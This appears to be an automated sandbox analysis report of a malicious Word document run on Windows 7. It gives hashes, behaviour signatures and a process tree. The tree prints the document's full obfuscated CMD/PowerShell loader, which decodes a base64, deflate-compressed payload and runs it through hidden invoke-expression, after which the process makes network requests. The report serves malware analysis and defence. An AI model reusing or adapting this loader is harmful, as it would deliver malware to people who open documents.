Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    11/05/2024, 16:28

General

  • Target

    3580c055bbb449173f35f8064cedff50_JaffaCakes118.doc

  • Size

    69KB

  • MD5

    3580c055bbb449173f35f8064cedff50

  • SHA1

    619fa40bd75907abead5be40a4e5ff02c27ad4a2

  • SHA256

    e4847906283f4facfaa7e97f2304935851223b5bd5c3dc0eb70fcdbd92733efd

  • SHA512

    ae1372c15f8d3c1cacf912b38c539af9b15e145f385bce6f12918fac302a7c8da8d8c8607cb66c607eb5594202c2f7cbfe31b886f94766143ab27731fe172959

  • SSDEEP

    768:2eWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o93nScF18J88:2eWocn1kp59gxBK85fBt+a9v2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3580c055bbb449173f35f8064cedff50_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2416
      • C:\Windows\SysWOW64\CMD.exe
        CMD C:\WIndOws\SYStem32\Cmd /c "sET qOuG= .( $SHEllId[1]+$ShelliD[13]+'X') ( neW-ObjECt sYStem.Io.StrEAmReaDER( ( neW-ObjECt IO.comPreSSION.DeflatestReaM([io.meMOrYstReam] [SYstEM.converT]::FRomBase64STrInG( 'PdBRa8IwEMDxr5KHQJSuKe5hD4aC0+FwsDEmug32co3nUm2TmqStVvrdrWXu9f7HD+6osk2ssQ5NskPpyRt6/onJLEtRe0FXz6uYKe+LcRTVdc0dmlGOx1QaLk0eje6rj9nkryflBgp0PszBuQYax1UZvc6/bh0yVToHqZYK7K+CXthN19Pl9z9hT6DrzkDb18MteMhBh6ChAG7LyK4ZXxZZ6gdswoaCNtsDiQl7GDFB31/mMUVdjT3mRcB+WHDNAeN4RCa2xiJINaAqfySpJtcLh2dvT2fafYI/mVpnBjbzNMN+545cwaFY6MrsMVx0aD8RSefsRSvBS3Vu2ws='), [Io.COmPRESSIOn.COmPRessIoNmODE]::dECOMPRESs ) ), [text.EncodINg]::aSCii) ).rEaDTOend()&& POWERShELl ^&('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))"
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          POWERShELl &('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2696

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            e5f48e3f121ad993a9eabc49660a4e2c

            SHA1

            644506b89f27d54be2d1377dcb0e9b2b834feee6

            SHA256

            60b093ee7b0750bad81cf5eb6dff4abdb7d3c6bf4d2649413af721232abe9005

            SHA512

            3cf39c943d17e0423c5b382d3896ec31b3bb583f4543d5ab691ef6d620f655f120f106837516ebcb6b47c6c8bfee18d41b2a5f5e6cad16265c7663aac83b8555

          • memory/2212-0-0x000000002FC01000-0x000000002FC02000-memory.dmp

            Filesize

            4KB

          • memory/2212-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2212-2-0x000000007108D000-0x0000000071098000-memory.dmp

            Filesize

            44KB

          • memory/2212-8-0x0000000000820000-0x0000000000920000-memory.dmp

            Filesize

            1024KB

          • memory/2212-6-0x0000000000820000-0x0000000000920000-memory.dmp

            Filesize

            1024KB

          • memory/2212-7-0x0000000000820000-0x0000000000920000-memory.dmp

            Filesize

            1024KB

          • memory/2212-24-0x000000007108D000-0x0000000071098000-memory.dmp

            Filesize

            44KB

          • memory/2212-25-0x0000000000820000-0x0000000000920000-memory.dmp

            Filesize

            1024KB

          • memory/2212-40-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2212-41-0x000000007108D000-0x0000000071098000-memory.dmp

            Filesize

            44KB

          • memory/2212-42-0x0000000000820000-0x0000000000920000-memory.dmp

            Filesize

            1024KB